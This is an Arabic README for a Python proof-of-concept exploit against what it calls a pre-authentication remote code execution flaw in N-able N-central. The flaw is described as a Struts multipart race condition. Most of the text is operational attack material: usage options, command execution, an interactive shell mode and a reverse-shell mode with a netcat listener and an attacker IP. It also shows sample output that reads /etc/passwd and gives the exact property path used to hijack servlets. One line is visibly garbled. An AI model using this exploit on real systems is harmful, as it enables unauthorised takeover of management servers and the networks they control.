
استغلال إثبات مفهوم بلغة Python 3 للثغرة CVE-2026-86218، وهي تنفيذ تعليمات برمجية عن بُعد (RCE) قبل المصادقة في N-able N-central عبر حالة تسابق (race condition) في Struts متعدد الأجزاء، مع دعم تنفيذ الأوامر والصدفة العكسية.
هذا استغلال إثبات مفهوم بلغة Python 3 للثغرة CVE-2026-86218، وهي ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد قبل المصادقة في N-able N-central.
تفاصيل الثغرة:
يستخدم N-able N-central نموذج Struts مرتبطًا بالجلسة على إجراء غير مُصادق عليه (/remoteControlAction.do). يمكن لطلبين متزامنين متعددي الأجزاء (multipart) أن يتسابقا على معالج النموذج متعدد الأجزاء ويكشفا إعدادات Jetty الحية لتعبئة خصائص Commons BeanUtils. يتيح ذلك للمهاجم:
/bin/sh -spip install requests
python3 CVE-2026-86218.py -t <target_url> [options]
| الخيار | الوصف |
|---|---|
-t, --target | عنوان URL المستهدف لـ N-central (مثال: https://192.168.1.100) |
-c, --command | أمر واحد لتنفيذه |
-i, --interactive | وضع الأوامر التفاعلي |
--lhost | عنوان IP للمستمع من أجل reverse shell |
--lport | منفذ المستمع (الافتراضي: 4444) |
--servlet | الـ servlet المراد استبداله: LogRetrieval، FileTransfer، AutomationManagerDownloadServlet |
--check | التحقق مما إذا كان الهدف عرضة للثغرة |
--no-verify-ssl | تعطيل التحقق من شهادة SSL |
--timeout | مهلة الطلب (الافتراضي: 30 ثانية) |
--race-delay | تأخير حالة التسابق (الافتراضي: 0.35 ثانية) |
-v, --verbose | تمكين الإخراج المفصّل |
python3 CVE-2026-86218.py -t https://192.168.1.100 --check --no-verify-ssl
الإخراج المتوقع:
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
python3 CVE-2026-86218.py -t https://192.168.1.100 -c "id" --no-verify-ssl
الإخراج المتوقع:
╔══════════════════════════════════════════════════════════════════╗
║ CVE-2026-86218 - N-able N-central Pre-Auth RCE Exploit ║
║ Version: 1.0.0 ║
║ CVSS: 10.0 (Critical) ║
╚══════════════════════════════════════════════════════════════════╝
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
[*] Obtaining unauthenticated session...
[*] Performing multipart race condition...
[*] Establishing connection for race condition...
[*] Sending helper request to install handler...
[*] Sending mutation fields...
[+] Race condition completed successfully
[*] Executing command: id
[+] Command executed successfully
uid=998(nable) gid=998(nable) groups=998(nable)
ابدأ المستمع أولاً:
nc -lvnp 4444
شغّل الاستغلال:
python3 CVE-2026-86218.py -t https://192.168.1.100 --lhost 10.10.14.5 --lport 4444 --no-verify-ssl
الإخراج المتوقع:
[*] Preparing reverse shell to 10.10.14.5:4444
[!] Starting reverse shell...
[!] Make sure to have a listener running: nc -lvnp 4444
[+] Reverse shell payload sent successfully!
[+] Check your listener for incoming connection
إخراج المستمع:
listening on [any] 4444 ...
connect to [10.10.14.5] from (UNKNOWN) [192.168.1.100] 49234
id
uid=998(nable) gid=998(nable) groups=998(nable)
python3 CVE-2026-86218.py -t https://192.168.1.100 -i --no-verify-ssl
الجلسة التفاعلية:
╔══════════════════════════════════════════════════════════════════╗
║ CVE-2026-86218 - N-able N-central Pre-Auth RCE Exploit ║
║ Version: 1.0.0 ║
║ CVSS: 10.0 (Critical) ║
╚══════════════════════════════════════════════════════════════════╝
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
[*] Obtaining unauthenticated session...
[*] Performing multipart race condition...
[+] Race condition completed successfully
[*] Entering interactive command mode
[*] Type 'exit' or 'quit' to leave
[*] Type 'shell' for reverse shell setup
ncentral> id
uid=998(nable) gid=998(nable) groups=998(nable)
ncentral> cat /etc/passwd | head -5
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
...
ncentral> shell
Listener IP: 10.10.14.5
Listener Port: 4444
[*] Preparing reverse shell to 10.10.14.5:4444
[+] Reverse shell payload sent successfully!
ncentral> exit
# Use FileTransfer servlet (more disruptive)
python3 CVE-2026-86218.py -t https://192.168.1.100 -c "id" --servlet FileTransfer --no-verify-ssl
| Servlet | الوصف | التأثير |
|---|---|---|
LogRetrieval | نقطة نهاية استرجاع السجلات (الافتراضي) | الأقل تعطيلاً، تصبح السجلات غير متاحة حتى إعادة التشغيل |
FileTransfer | نقطة نهاية نقل الملفات | يعطّل وظيفة نقل الملفات |
AutomationManagerDownloadServlet | تنزيل مدير الأتمتة | يتطلب منفذ واجهة الإدارة (8443) |
/remoteControlAction.do لاستخراج الإصدار من صفحة الخطأتستغل الثغرة حالة تسابق في معالجة النماذج متعددة الأجزاء في Struts:
تستخدم حقول التغيير مسارات خصائص JavaBean:
multipartRequestHandler.servlet.servletContext.classLoader.context.servletHandler.servlet(LogRetrieval).heldClass
يمر هذا عبر: معالج الأجزاء المتعددة → سياق الـ servlet → محمّل الفئات → WebAppContext → معالج الـ servlet → الحامل المحدد
/remoteControlAction.doيُقدَّم هذا الاستغلال لأغراض اختبار الأمان المصرّح به والأغراض التعليمية فقط. الاستخدام غير المصرّح به لهذا الاستغلال ضد أنظمة لا تملكها أو ليس لديك إذن باختبارها غير قانوني وغير أخلاقي.